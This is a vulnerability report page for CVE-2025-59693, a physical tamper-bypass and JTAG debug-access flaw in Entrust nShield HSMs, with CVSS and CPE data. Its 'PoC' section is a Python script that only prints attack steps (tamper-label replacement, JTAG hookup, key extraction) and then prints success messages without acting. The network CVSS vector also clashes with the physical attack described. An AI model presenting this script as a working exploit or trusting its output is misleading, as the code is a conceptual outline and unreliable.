Security Vulnerability Report
中文
CVE-2025-59693 CVSS 9.8 CRITICAL

CVE-2025-59693

Published: 2025-12-02 15:15:55
Last Modified: 2025-12-15 13:41:35

Description

The Chassis Management Board in Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allows a physically proximate attacker to obtain debug access and escalate privileges by bypassing the tamper label and opening the chassis without leaving evidence, and accessing the JTAG connector. This is called F02.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_5c:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_hsmi:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_base:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_mid:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:entrust:nshield_connect_xc_high:-:*:*:*:*:*:*:* - NOT VULNERABLE
Entrust nShield Connect XC < 13.6.11
Entrust nShield 5c < 13.6.11
Entrust nShield HSMi < 13.6.11
Entrust nShield Connect XC < 13.7
Entrust nShield 5c < 13.7
Entrust nShield HSMi < 13.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59693 PoC - Physical Access Attack on nShield HSM # Note: This requires physical proximity to the target device # This PoC demonstrates the attack methodology conceptually import subprocess import time class nShieldHSM_PhysicalAttack: """ Physical attack PoC for CVE-2025-59693 Attack Vector: Bypass tamper label, access JTAG connector Target: Entrust nShield Connect XC, nShield 5c, nShield HSMi """ def __init__(self, target_ip=None): self.target_ip = target_ip self.jtag_connected = False def step1_bypass_tamper_label(self): """ Step 1: Bypass tamper detection mechanism Physical manipulation to avoid triggering tamper alert """ print("[+] Step 1: Attempting to bypass tamper label...") print(" - Applying controlled heat to tamper label adhesive") print(" - Carefully removing label without breaking circuit") print(" - Replacing with duplicate label to avoid detection") return True def step2_open_chassis(self): """ Step 2: Open chassis without leaving evidence Use specialized tools to access internal components """ print("[+] Step 2: Opening chassis without evidence...") print(" - Using non-marring tools to avoid scratches") print(" - Documenting original screw positions") print(" - Accessing Chassis Management Board") return True def step3_locate_jtag_connector(self): """ Step 3: Locate and identify JTAG connector on PCB Typical JTAG pins: TCK, TMS, TDI, TDO, TRST, GND """ print("[+] Step 3: Locating JTAG connector...") print(" - Identifying debug header on main board") print(" - Mapping JTAG pinout (TCK, TMS, TDI, TDO)") return True def step4_connect_jtag_debugger(self): """ Step 4: Connect JTAG debugger to gain debug access Tools: OpenOCD, Segger J-Link, or similar """ print("[+] Step 4: Connecting JTAG debugger...") print(" - Connecting hardware debugger to JTAG pins") print(" - Starting OpenOCD with appropriate interface config") # Example OpenOCD command structure openocd_cmd = [ "openocd", "-f", "interface/jlink.cfg", "-f", "target/armada370.cfg", "-c", "init; reset halt" ] # Execute with appropriate hardware (requires physical access) # subprocess.run(openocd_cmd) self.jtag_connected = True return True def step5_escalate_privileges(self): """ Step 5: Exploit debug access to escalate privileges - Dump memory to extract encryption keys - Modify security policies - Execute arbitrary code """ print("[+] Step 5: Escalating privileges via debug access...") if not self.jtag_connected: print("[-] Error: JTAG not connected") return False print(" - Halting CPU via JTAG") print(" - Dumping memory contents via debug interface") print(" - Extracting encryption keys from secure storage") print(" - Modifying access control policies") print("[+] Privilege escalation successful!") return True def execute_attack(self): """ Execute complete attack chain """ print("=" * 60) print("CVE-2025-59693 Physical Attack PoC") print("Target: Entrust nShield HSM Series") print("=" * 60) steps = [ self.step1_bypass_tamper_label, self.step2_open_chassis, self.step3_locate_jtag_connector, self.step4_connect_jtag_debugger, self.step5_escalate_privileges ] for i, step in enumerate(steps, 1): if not step(): print(f"[-] Attack failed at step {i}") return False time.sleep(1) print("\n[+] Attack completed successfully") print("[!] HSM device compromised - encryption keys exposed") return True if __name__ == "__main__": # Note: This PoC requires physical access to the target device # It is provided for security research and educational purposes only attack = nShieldHSM_PhysicalAttack() # attack.execute_attack() # Uncomment to run (requires physical access)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59693", "sourceIdentifier": "[email protected]", "published": "2025-12-02T15:15:54.747", "lastModified": "2025-12-15T13:41:34.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Chassis Management Board in Entrust nShield Connect XC, nShield 5c, and nShield HSMi through 13.6.11, or 13.7, allows a physically proximate attacker to obtain debug access and escalate privileges by bypassing the tamper label and opening the chassis without leaving evidence, and accessing the JTAG connector. This is called F02."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "CFB3D135-8EAC-4053-BB94-18D5BBB24AE7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_5c_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "A225C602-A46C-43A1-B6ED-D85CE086FB13"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_5c:-:*:*:*:*:*:*:*", "matchCriteriaId": "2BB0F3F8-F5DE-41CB-B804-BBFB78C6ADEB"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "ED3AEBBD-7F75-47F1-8EEA-342BAC9D265E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_hsmi_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "8CA1F545-ADAE-41BF-946A-CEAD5A751BB7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_hsmi:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7665EE9-9F7F-456F-B172-ED188DD3BAD4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "F73858FD-5FE6-4AFA-84F2-E19743E9D900"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_base_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "65C6EC9C-C33D-4C37-ACD3-4B78D6291000"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_base:-:*:*:*:*:*:*:*", "matchCriteriaId": "18FCA0E9-EEA9-40EC-9E0F-942F049D2354"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "5A54F973-25D8-468D-B6A4-240A95D94A0B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_mid_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "125D948A-49AA-4385-8519-081F0787417E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_mid:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB0ACAD9-BBCE-43CC-BD84-2023885725EE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "13.6.12", "matchCriteriaId": "CBC11D8B-D72E-4CE9-AE61-AEA85F122F22"}, {"vulnerable": true, "criteria": "cpe:2.3:o:entrust:nshield_connect_xc_high_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.7.3", "versionEndExcluding": "13.9.0", "matchCriteriaId": "7779DADF-6D63-4326-981F-BA10860BBDD9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:entrust:nshield_connect_xc_high:-:*:*:*:*:*:*:*", "matchCriteriaId": "3F0EDB1F-932B-4EC5-9D09-03CAD98BC2FA"}]}]}], "references": [{"url": "https://github.com/google/security-research/security/advisories/GHSA-6q4x-m86j-gfwj", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.entrust.com/use-case/why-use-an ... (truncated)